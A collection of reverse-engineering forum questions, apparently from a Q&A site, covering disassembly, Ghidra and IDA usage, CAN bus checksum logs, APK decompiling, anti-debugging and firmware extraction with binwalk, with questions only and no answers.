'c', 'static-analysis']"," Title: Arrays assemblyBody: I'm reversing my C array's programs where I'm storing numbers in arrays like this... +
int marks[5];
+marks[0] = 1;
+marks[1] = 3;
+marks[2] = 2;
+marks[3] = 7;
+marks[4] = 9;
+
+so the compiler showing me the disassembly... + +Actually, my question is why it is storing like this? by using imul first before storing 1 then before storing 7, and using shl for storing 3, 2, and 9. +Can anyone please help? +Fell free to edit it* +" +"['c++', 'encodings', 'unknown-data']"," Title: What encoding is this?Body: +This is a picture of the encoded code. I'm just wondering what is the encoding that it is using. +" +['ghidra']," Title: Ghidra add data types from open source projectBody: I know that the program I am decompiling uses openSSL.
+I'd like to add the types from the include folder of the project to the data types.
+To do that, I use File => Parse C Source.
+I then select the include folder from the openSSL project +For every parse configuration I get +
Encountered "<EOF>" at line 0 column 0
+Was expecting one of:
+"#line"...
+<LINEALT>...
+";"...
+
+And if I try to import a subset of the .h files I get the following error because some types are not defined directly in the file. +
C parser: Encountered errors during parsing
+
+Is there a way to import all the types from the source of a project ? +" +"['ida', 'disassembly', 'windows']"," Title: Patching a program in IDABody: I've opened a simple Hello World program in IDA (Pro 7.5) like that: +
    global  _main
+    extern  _printf
+
+    section .text
+_main:
+    push    message
+    call    _printf
+    add     esp, 4
+    push    message2
+    call    _printf
+    add     esp, 4
+    ret
+message:
+    db  'Hello, World 1', 0xD, 0xA, 0 
+message2:
+    db  'Hello, World 2', 0xD, 0xA, 0
+
+Now i've made a simple detour - moved the code and data definition to the unused end of the code segment like this: +
str1  db 'Hello, World1',0Dh,0Ah,0
+                                         ; DATA XREF: .text:detour↓o
+str2  db 'Hello, World2',0Dh,0Ah,0
+                                         ; DATA XREF: .text:00404057↓o
+str3  db 'Hello, World3',0Dh,0Ah,0
+                                         ; DATA XREF: .text:00404064↓o↓o
+      db    0
+      db    0
+ ; ---------------------------------------------------------------------------
+
+ detour:                                 ; CODE XREF: .text:_main↑j
+   push    offset str1     ; "Hello, World 1\r\n"
+   call    _printf
+   add     esp, 4
+   push    offset str2     ; "Hello, World 2\r\n"
+   call    _printf
+   add     esp, 4
+   push    offset str3     ; "Hello, World 3\r\n"
+   call    _printf
+   add     esp, 4
+   jmp     go_back
+
+Leaving in the main function only the jmp code like that: +
_main:                                 
+  jmp detour
+go_back:                              
+  retn
+
+And this yeiled me a problem. The output of the patched program is : +
Hello, World1
+
+Hello, World2
+
+Hello, World3
+
+ABh@@Hello, World2
+
+Hello, World3
+
+ABh@@Hello, World3
+
+ABh@@
+
+Instead just: +
Hello, World 1
+Hello, World 2
+Hello, World 3
+
+It turned out that the patching process just changed the last byte of each string from "00" to "0A"(line feed char)!. There is the screenshot of the data section from IDA debugger running: + +And the the code section: + +That's the reason of that fucked up output. But the question is WHY does it happened? +" +"['malware', 'career-advice']"," Title: Best way from high level software developer to malware analystBody: I am a software developer with commercial experience in Python and mainly Scala working on high level programming, e.g. REST APIs, and only personal/university projects experience in C++. +I would like to work as a reverse engineer and I am very passionate about low level software. Do you believe working as a C++ developer would help in the transition to malware analyst? would it be worth it in order to achieve my goal, also considering the not increasing salary when changing job in such an horizontal way? +I would really appreciate your help given my level of confusion on how to approach this career change +Thanks in advance !! +Giulia +" +['disassembly']," Title: Opened up a stick-blender to retrieve its motor but the circuit board broke. What is the circuit I should reproduce?Body: See question title and pictures. It’s plugged into 230v and has quite high rpm and torque. I’m trying to see if I can reuse this motor in a different application. + + + +Edit: Looks like there is a diode on the opposite side of the capacitor as well +" +"['ida', 'firmware']"," Title: Which processor do I specify when I load HCS08 firmware to IDA?Body:
+Motorola/Freescale MC680xx, CPU32 (68330), MC6301, MC6303, MC6800, +MC6801, MC6803, MC6805, MC6808, HCS08, MC6809, MC6811, M68H12C, +ColdFire +
+IDA claims to have the support for HCS08. But I can't see it in the list of the processors: + +Should I use 6808? Or maybe HCS12? +" +['networking']," Title: Identifying hosts on a network with no DHCPBody: I have a router with an unknown IP address with no functioning DHCP server. +I have to connect to the router using a static (non-DHCP) IP (I have tried several including 192.168.1.10). The link LED suggests that I do have a wired ethernet link. +I want to find out the IP (v4) and subnet that the router responds to. +I have tried using a netmask of 0.0.0.0 and pinging the broadcast address but no response has been received from the router. +nmap scanning would probably take a very long time as I don't have any idea what subnet the router is on - it could be 10.x.x.x or 172.x.x.x or 192.168.x.x +Are there any other ways to discover hosts' IP addresses when very little is known about the network topology and the subnet could be anything? +" +['unknown-data']," Title: Reverse Engineering a Proprietary Bar CodeBody: I'm trying to figure out how to decipher the data stored in a proprietary barcode. I looked through just about every barcode type and cant seem to match it, so I'm assuming this is some special format made by this company. +I noticed most of the barcode is identical except a small part (marked in red), which would make sense if this code represents the numbers listed above each one but I still cant seem to figure it out. + +" +"['pe', 'file-format']"," Title: how do i use the text like in pe files?Body: I extracted pe file from another pe file and I saved it. +I want it execute but when I saved file computer sees it like text file. Altough my actual file starting with "4d 5a" computer sees like text and converts it "34 64". +How can I solve this problem? + +" +"['ida', 'debugging', 'exception']"," Title: IDA Unknown Exception Code 6F4Body: So basically I had set a breakpoint on a WINAPI function call. When I tried to run the program and step over the breakpoint, the program exits with the popup window: unknown exception code 6F4 (exc.code 6f4, tid 704). The function does not return any value as the program exits before that happens, so I can't tell if the function has returned a successful error code or not. What is this exception code, and why did this happen? +" +"['hex', 'crc', 'checksum']"," Title: Checksum in CANbus MessageBody: I'm trying to work out the calculation method for a checksum in a CAN message but I'm having some difficulties. +I am unsure if there are actually 4 separate checksums, or one big one at the end of this message. +I have run the message in different ways through reveng, and it doesn't seem to return anything CRC related. +Are there any gurus out there that could point me in the right direction to work out what is being done. +What I have worked out is that the first nibble in byte 4 is a counter, and in the examples below, I have managed to keep the count the same. +
0x116  8  00 00 00 00 CF 6E 7A 13 
+0x116  8  01 01 00 00 CF 79 DA 12 
+0x116  8  02 02 00 00 C6 7A 99 BB 
+0x116  8  03 03 00 00 C5 F8 8B 8C 
+0x116  8  04 04 00 00 C6 FB D0 62 
+0x116  8  05 05 00 00 C9 45 B3 0C 
+0x116  8  06 06 00 00 CD 6E 2A 25 
+0x116  8  07 07 00 00 C3 C7 F1 09 
+0x116  8  08 08 00 00 CB 5F D7 BA 
+0x116  8  09 09 00 00 C5 29 B0 69 
+0x116  8  0A 0A 00 00 C6 6C AE F7 
+0x116  8  0B 0B 00 00 CC FA 16 76 
+0x116  8  0C 0C 00 00 C7 9B AB 62 
+0x116  8  0D 0D 00 00 C1 4C C4 9A 
+0x116  8  0E 0E 00 00 C3 A0 2A BF 
+0x116  8  0F 0F 00 00 C5 46 AE F2 
+0x116  8  10 10 00 00 C4 CF 23 B7 
+0x116  8  11 11 00 00 CE 78 52 3C 
+0x116  8  12 12 00 00 CD 5D D4 75 
+0x116  8  13 13 00 00 C1 5B E3 E3 
+0x116  8  14 14 00 00 CE F9 4C 2A 
+0x116  8  15 15 00 00 CD 1B 89 2F 
+0x116  8  16 16 00 00 C0 9D 3F 9C 
+0x116  8  17 17 00 00 C8 A9 18 99 
+
+Edit: +I seem to think there is another message that is affecting the results of the checksums within the 116 message. +I have attached a longer log with the other message included. I can see that one of the counters in byte 4 increments each time there is a new message from the 0xf message. +
20:04:48:5054 Tx 1 0x00F s 8 02 36 00 A4 54 5B B1 3F 
+20:04:48:6024 Rx 1 0x116 s 8 00 00 00 00 5C F3 FC 67 
+20:04:48:6059 Tx 1 0x00F s 8 02 36 00 A4 54 5B B1 3F 
+20:04:48:6260 Rx 1 0x116 s 8 00 00 00 00 97 51 BF D4 
+20:04:48:6495 Rx 1 0x116 s 8 00 00 00 00 D2 73 9B 87 
+20:04:48:6731 Rx 1 0x116 s 8 00 00 00 00 15 6A E4 82 
+20:04:48:6967 Rx 1 0x116 s 8 00 00 00 00 55 37 86 56 
+20:04:48:7063 Tx 1 0x00F s 8 02 36 00 A4 6D 2F FA 4B 
+20:04:48:7203 Rx 1 0x116 s 8 00 00 00 00 68 27 BB B9 
+20:04:48:7438 Rx 1 0x116 s 8 00 00 00 00 A4 F7 95 52 
+20:04:48:7674 Rx 1 0x116 s 8 00 00 00 00 E2 79 96 5A 
+20:04:48:7909 Rx 1 0x116 s 8 00 00 00 00 21 7A 35 4D 
+20:04:48:8071 Tx 1 0x00F s 8 02 36 00 A4 6D 2F FA 4B 
+20:04:48:8145 Rx 1 0x116 s 8 00 00 00 00 61 16 BF E0 
+20:04:48:8381 Rx 1 0x116 s 8 00 00 00 00 A7 89 40 E4 
+20:04:48:8616 Rx 1 0x116 s 8 00 00 00 00 E4 1D 2C 84 
+20:04:48:8851 Rx 1 0x116 s 8 00 00 00 00 2F 56 4A 14 
+20:04:48:9076 Tx 1 0x00F s 8 02 36 00 A4 6D 2F FA 4B 
+20:04:48:9087 Rx 1 0x116 s 8 00 00 00 00 68 5B A4 A3 
+20:04:48:9322 Rx 1 0x116 s 8 00 00 00 00 A2 1C 8E 83 
+20:04:48:9558 Rx 1 0x116 s 8 00 00 00 00 E3 8A 9C 1D 
+20:04:48:9793 Rx 1 0x116 s 8 00 00 00 00 2D 31 1A 56 
+20:04:49:0029 Rx 1 0x116 s 8 00 00 00 00 63 EB C8 0B 
+20:04:49:0081 Tx 1 0x00F s 8 02 36 00 A4 7F 1F E1 99 
+20:04:49:0265 Rx 1 0x116 s 8 00 00 00 00 79 EE EC 3A 
+20:04:49:0500 Rx 1 0x116 s 8 00 00 00 00 B3 57 40 F7 
+20:04:49:0736 Rx 1 0x116 s 8 00 00 00 00 F6 43 AD 49 
+20:04:49:0971 Rx 1 0x116 s 8 00 00 00 00 3B 57 E0 E3 
+20:04:49:1086 Tx 1 0x00F s 8 02 36 00 A4 7F 1F E1 99 
+20:04:49:1207 Rx 1 0x116 s 8 00 00 00 00 78 39 71 F6 
+20:04:49:1442 Rx 1 0x116 s 8 00 00 00 00 B0 5C 1D C6 
+20:04:49:1678 Rx 1 0x116 s 8 00 00 00 00 F1 2B EE 68 
+20:04:49:1913 Rx 1 0x116 s 8 00 00 00 00 3D A6 5D 5A 
+20:04:49:2088 Tx 1 0x00F s 8 02 36 00 A4 7F 1F E1 99 
+20:04:49:2149 Rx 1 0x116 s 8 00 00 00 00 72 83 1A D3 
+20:04:49:2385 Rx 1 0x116 s 8 00 00 00 00 BF E8 45 18 
+20:04:49:2620 Rx 1 0x116 s 8 00 00 00 00 F9 21 09 C2 
+20:04:49:2856 Rx 1 0x116 s 8 00 00 00 00 33 50 A4 63 
+20:04:49:3091 Rx 1 0x116 s 8 00 00 00 00 73 32 6C 05 
+20:04:49:3095 Tx 1 0x00F s 8 02 36 00 A4 87 6B 47 DE 
+20:04:49:3326 Rx 1 0x116 s 8 00 00 00 00 4A 66 73 20 
+20:04:49:3562 Rx 1 0x116 s 8 00 00 00 00 8A AF 81 9D 
+20:04:49:3798 Rx 1 0x116 s 8 00 00 00 00 C4 76 E7 16 
+20:04:49:4033 Rx 1 0x116 s 8 00 00 00 00 05 8A 34 CC 
+20:04:49:4094 Tx 1 0x00F s 8 02 36 00 A4 87 6B 47 DE 
+20:04:49:4269 Rx 1 0x116 s 8 00 00 00 00 45 20 72 2F 
+20:04:49:4504 Rx 1 0x116 s 8 00 00 00 00 8C F5 1B 07 
+20:04:49:4740 Rx 1 0x116 s 8 00 00 00 00 C1 DF 4F A0 
+20:04:49:4975 Rx 1 0x116 s 8 00 00 00 00 01 E2 E4 39 
+20:04:49:5095 Tx 1 0x00F s 8 02 36 00 A4 87 6B 47 DE 
+20:04:49:5211 Rx 1 0x116 s 8 00 00 00 00 4B 4C F5 F7 
+20:04:49:5446 Rx 1 0x116 s 8 00 00 00 00 8D 5C E3 82 
+20:04:49:5682 Rx 1 0x116 s 8 00 00 00 00 C6 9C FD 5F 
+20:04:49:5917 Rx 1 0x116 s 8 00 00 00 00 01 87 CE 35 
+20:04:49:6098 Tx 1 0x00F s 8 02 36 00 A4 9A E8 11 66 
+20:04:49:6153 Rx 1 0x116 s 8 00 00 00 00 5B 1E 9E 35 
+20:04:49:6388 Rx 1 0x116 s 8 00 00 00 00 90 C6 BC 25 
+20:04:49:6624 Rx 1 0x116 s 8 00 00 00 00 D8 78 AF 67 
+20:04:49:6859 Rx 1 0x116 s 8 00 00 00 00 10 50 18 B0 
+20:04:49:7095 Rx 1 0x116 s 8 00 00 00 00 5D E7 20 D3 
+20:04:49:7107 Tx 1 0x00F s 8 02 36 00 A4 9A E8 11 66 
+20:04:49:7331 Rx 1 0x116 s 8 00 00 00 00 92 50 D4 B4 
+20:04:49:7567 Rx 1 0x116 s 8 00 00 00 00 DB 78 F3 DB 
+20:04:49:7802 Rx 1 0x116 s 8 00 00 00 00 14 AE E4 C2 
+20:04:49:8038 Rx 1 0x116 s 8 00 00 00 00 5F 43 6F 8C 
+20:04:49:8115 Tx 1 0x00F s 8 02 36 00 A4 9A E8 11 66 
+20:04:49:8273 Rx 1 0x116 s 8 00 00 00 00 9E 76 6A E0 
+20:04:49:8509 Rx 1 0x116 s 8 00 00 00 00 D5 D2 55 86 
+20:04:49:8744 Rx 1 0x116 s 8 00 00 00 00 11 A2 5B DA 
+20:04:49:8980 Rx 1 0x116 s 8 00 00 00 00 5F 09 79 95 
+20:04:49:9120 Tx 1 0x00F s 8 02 36 00 A4 AF AF 66 FC 
+20:04:49:9215 Rx 1 0x116 s 8 00 00 00 00 66 20 30 3C 
+20:04:49:9451 Rx 1 0x116 s 8 00 00 00 00 A1 CE 38 C3 
+20:04:49:9686 Rx 1 0x116 s 8 00 00 00 00 ED 0A D9 D2 
+20:04:49:9922 Rx 1 0x116 s 8 00 00 00 00 28 F5 53 FB 
+20:04:50:0124 Tx 1 0x00F s 8 02 36 00 A4 AF AF 66 FC 
+20:04:50:0157 Rx 1 0x116 s 8 00 00 00 00 64 B9 97 A3 
+20:04:50:0393 Rx 1 0x116 s 8 00 00 00 00 A3 CF EF 7D 
+20:04:50:0628 Rx 1 0x116 s 8 00 00 00 00 E4 84 B8 BB 
+20:04:50:0864 Rx 1 0x116 s 8 00 00 00 00 24 3C E5 37 
+20:04:50:1099 Rx 1 0x116 s 8 00 00 00 00 61 FD AB 6C 
+20:04:50:1129 Tx 1 0x00F s 8 02 36 00 A4 AF AF 66 FC 
+20:04:50:1335 Rx 1 0x116 s 8 00 00 00 00 A0 51 EB D1 
+20:04:50:1570 Rx 1 0x116 s 8 00 00 00 00 E2 0C 85 C2 
+20:04:50:1806 Rx 1 0x116 s 8 00 00 00 00 2F E1 F4 60 
+20:04:50:2042 Rx 1 0x116 s 8 00 00 00 00 68 4E C5 9A 
+20:04:50:2135 Tx 1 0x00F s 8 02 36 00 A4 BE C2 8A 81 
+20:04:50:2277 Rx 1 0x116 s 8 00 00 00 00 7F 8A EA 78 
+20:04:50:2512 Rx 1 0x116 s 8 00 00 00 00 B0 8F 24 D2 
+20:04:50:2748 Rx 1 0x116 s 8 00 00 00 00 FD 12 11 A2 
+20:04:50:2984 Rx 1 0x116 s 8 00 00 00 00 3A CA C6 DD 
+20:04:50:3141 Tx 1 0x00F s 8 02 36 00 A4 BE C2 8A 81 
+20:04:50:3219 Rx 1 0x116 s 8 00 00 00 00 79 E9 56 55 
+20:04:50:3455 Rx 1 0x116 s 8 00 00 00 00 BC 3D 5C 00 
+20:04:50:3691 Rx 1 0x116 s 8 00 00 00 00 F0 3D 49 AD 
+20:04:50:3926 Rx 1 0x116 s 8 00 00 00 00 34 5F 55 2F 
+20:04:50:4145 Tx 1 0x00F s 8 02 36 00 A4 BE C2 8A 81 
+20:04:50:4161 Rx 1 0x116 s 8 00 00 00 00 74 81 D6 17 
+20:04:50:4397 Rx 1 0x116 s 8 00 00 00 00 B3 7D FC 56 
+20:04:50:4632 Rx 1 0x116 s 8 00 00 00 00 F2 2C 94 19 
+20:04:50:4868 Rx 1 0x116 s 8 00 00 00 00 3D 47 34 A7 
+
+" +"['windows', 'malware', 'dynamic-analysis', 'networking', 'wireshark']"," Title: CaptureBAT equivalent on Windows 10?Body: Hello RE community on stack ! +I am a beginner, so please pardon any commonplace errors +I am looking to run CaptureBAT on a Windows 10 VM, to capture network activity of different kinds of Malwares +I specifically need to run CaptureBAT since it is capable of filtering out the noise from Windows' usual services +However, i cannot find any installer on the internet for the utility +I have found a github repository here but i am not quite sure how to compile it +can anyone suggest any good alternatives to CaptureBAT on windows 10 or tell me a method to run this tool on Windows 10 ? +i would be grateful for your kind help +P.S : alternatively i am open to using any other tool, except wireshark, that would help capture network activity of the malicious executable. I am looking forward to the suggestions of this community in this regard +" +['cheat-engine']," Title: Two different values on a register, on the same instruction? (Cheat Engine)Body: My situation is that I'm trying to find the send function of an online game. I found the buffer pointer and looked what accesses to it. It was obviously an instruction, which used the buffer pointer, but if I breakpoint on that instruction it doesn't contain the buffer ptr. +Why are the values different if I breakpoint? +First Picture: edx stores the adress of the buffer. +Second Picture: Breakpoint on that same exact instruction, but edx is not the same, which doesn't really make sense. + + +" +['ghidra']," Title: I'm trying to clear all the Ghidra instances in my machine before reinstalling it and I'm seeing some anomaliesBody: I downloaded 3 different instances of Ghidra without realizing, and after I did the locate Ghidra command, it returned: + +The second folder ghidra_scripts is unimportant and doesn't contain any instances in it, +but the .ghidra folder had 2 instances in it and I went inside it and removed both 9.1 and 9.2 instances from it already and did the locate ghidra command again, and it was still there for some reason, so I tried to 'rm' it and it returned no such file or directory under this directory +I restarted my computer to see if it would still be there, and it is. +I also see a ghidra.rb file under /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask/Casks/ghidra.rb +I already did the brew uninstall Ghidra command and it returned + +Should I remove this file under Casks before I continue towards redownloading Ghidra again? +" +"['dll', 'exe']"," Title: FINDING & EXECUTING a function from an exe/dll (not compiled by me)?Body: my Problem is, i have bought a Huion Kamvas 22 Plus pen display for drawing and painting. +On my old Wacom tablet i had some hardware buttons and could map functions/setting of the driver to these hardware buttons. +The new Huion Monitor doesnt have any Hardware Buttons! Thats ok , i just use keyboard shortcuts anyways ... +But theres one problem, +the huion driver window has a function called "switch screen". with that i can switch the mouse output from the Pen to another monitor (in a multi monitor setup). This cant be mapped to any keyboard shortcut though , just (eventual) hardware buttons which come with the huion displays. As i mentioned, my model(the Kamvas 22 plus) doesnt have any buttons though. +Now i want to +A) +find the specific function/argument in a file called "TabletDriverCore.exe" or any of its loaded dlls +and B) +run this function(+ correct arguments) from the command line / autohotkey / whatever +is that possible and how would i achieve that ? +" +"['android', 'apk', 'api', 'https-protocol']"," Title: finding rest api urls after decompiling apkBody: i have two apk files , when i decompile them using apktool i can take a look at decompile code , so here is what really confuse me , in the first apk if i searched the hole files for strings witch begin with "https" or "http" i can get all the api urls for that app , but the second apk doesn't work the same way it give me nothing just some google api urls witch belong to google that i dont need , so my question is , why my searching method work in the first apk but not in the second apk , maybe in the second app the urls string are encrypted ,but why the developer would do something like this seems pointless to me because even if the urls are encrypted i can capture them using Wireshark or others capturing tools (i don't want to use the capturing tools just decompiling tools if you could just help on that it would be great) +" +"['function-hooking', 'iat']"," Title: Using IAT Hooking to hook end of functionBody: Is it possible? Maybe you can explain it with a simple example if that's possible? +" +"['debugging', 'debuggers', 'x64dbg', 'anti-debugging']"," Title: Program prevents x64dbg from starting or kills it if it's already running. What to do?Body: I have the following problem with x64dbg. I am trying to debug a x64 PE program with x64dbg on Windows. +It looks like the program has some sort of anti-debug protection. I have the following behavior: + +As I am relatively new to this I really don't know what to do or where to go from here. +I hope some of you experienced guys can give me a solution or hint how I can debug this program. +Thanks in advance! +" +"['firmware', 'binwalk']"," Title: how to extract this firmware .img?Body: how to extract this firmware .img?!? +https://files.fm/u/bhgbk336r +w/ binwalk i've this output: +

+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65462 bytes
+10019         0x2723          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65527 bytes
+17145         0x42F9          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65523 bytes
+27201         0x6A41          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65517 bytes
+36189         0x8D5D          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65530 bytes
+47203         0xB863          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65503 bytes
+55802         0xD9FA          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65511 bytes
+66294         0x102F6         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65530 bytes
+74373         0x12285         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65513 bytes
+84641         0x14AA1         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65491 bytes
+96120         0x17778         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65531 bytes
+107487        0x1A3DF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65490 bytes
+118228        0x1CDD4         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65511 bytes
+128486        0x1F5E6         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 12443 bytes
+131629        0x2022D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2609 bytes
+132847        0x206EF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 18233 bytes
+138302        0x21C3E         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 41608 bytes
+151183        0x24E8F         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33777 bytes
+162123        0x2794B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10280 bytes
+166272        0x28980         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7433 bytes
+169162        0x294CA         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9458 bytes
+172881        0x2A351         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9317 bytes
+176289        0x2B0A1         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 13027 bytes
+180676        0x2C1C4         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 15128 bytes
+185960        0x2D668         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 13617 bytes
+190742        0x2E916         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5538 bytes
+192991        0x2F1DF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 12703 bytes
+197453        0x3034D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 759 bytes
+197837        0x304CD         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 14104 bytes
+203149        0x3198D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9155 bytes
+206550        0x326D6         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 19024 bytes
+213531        0x3421B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6917 bytes
+215791        0x34AEF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5125 bytes
+217913        0x35339         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 27069 bytes
+226895        0x3764F         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 43531 bytes
+240883        0x3ACF3         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3854 bytes
+242610        0x3B3B2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33522 bytes
+252035        0x3D883         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 23064 bytes
+259561        0x3F5E9         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3899 bytes
+261296        0x3FCB0         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1511 bytes
+262034        0x3FF92         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 965 bytes
+262637        0x401ED         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6289 bytes
+264930        0x40AE2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 996 bytes
+265497        0x40D19         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1347 bytes
+266128        0x40F90         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 146 bytes
+266260        0x41014         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 146 bytes
+266496        0x41100         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3273 bytes
+268276        0x417F4         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 202 bytes
+268442        0x4189A         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 799 bytes
+268943        0x41A8F         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 146 bytes
+269075        0x41B13         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1429 bytes
+269803        0x41DEB         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1868 bytes
+270640        0x42130         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 308 bytes
+270822        0x421E6         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 590 bytes
+271145        0x42329         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 768 bytes
+271639        0x42517         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 796 bytes
+272135        0x42707         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1369 bytes
+272899        0x42A03         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5221 bytes
+275030        0x43256         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2726 bytes
+276220        0x436FC         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1695 bytes
+277144        0x43A98         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7771 bytes
+279560        0x44408         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 146 bytes
+279692        0x4448C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2744 bytes
+280921        0x44959         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1276 bytes
+281583        0x44BEF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3616 bytes
+283048        0x451A8         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1311 bytes
+283576        0x453B8         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1170 bytes
+284166        0x45606         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1182 bytes
+284756        0x45854         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1182 bytes
+285346        0x45AA2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 753 bytes
+285820        0x45C7C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1377 bytes
+286373        0x45EA5         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2232 bytes
+287357        0x4627D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2051 bytes
+288351        0x4665F         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 561 bytes
+288725        0x467D5         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 146 bytes
+288857        0x46859         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 722 bytes
+289327        0x46A2F         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 99 bytes
+289418        0x46A8A         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1288 bytes
+290001        0x46CD1         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2234 bytes
+290928        0x47070         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3571 bytes
+292378        0x4761A         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4966 bytes
+294338        0x47DC2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2096 bytes
+295328        0x481A0         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6572 bytes
+297936        0x48BD0         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6438 bytes
+300568        0x49618         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2304 bytes
+301760        0x49AC0         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6179 bytes
+303964        0x4A35C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1866 bytes
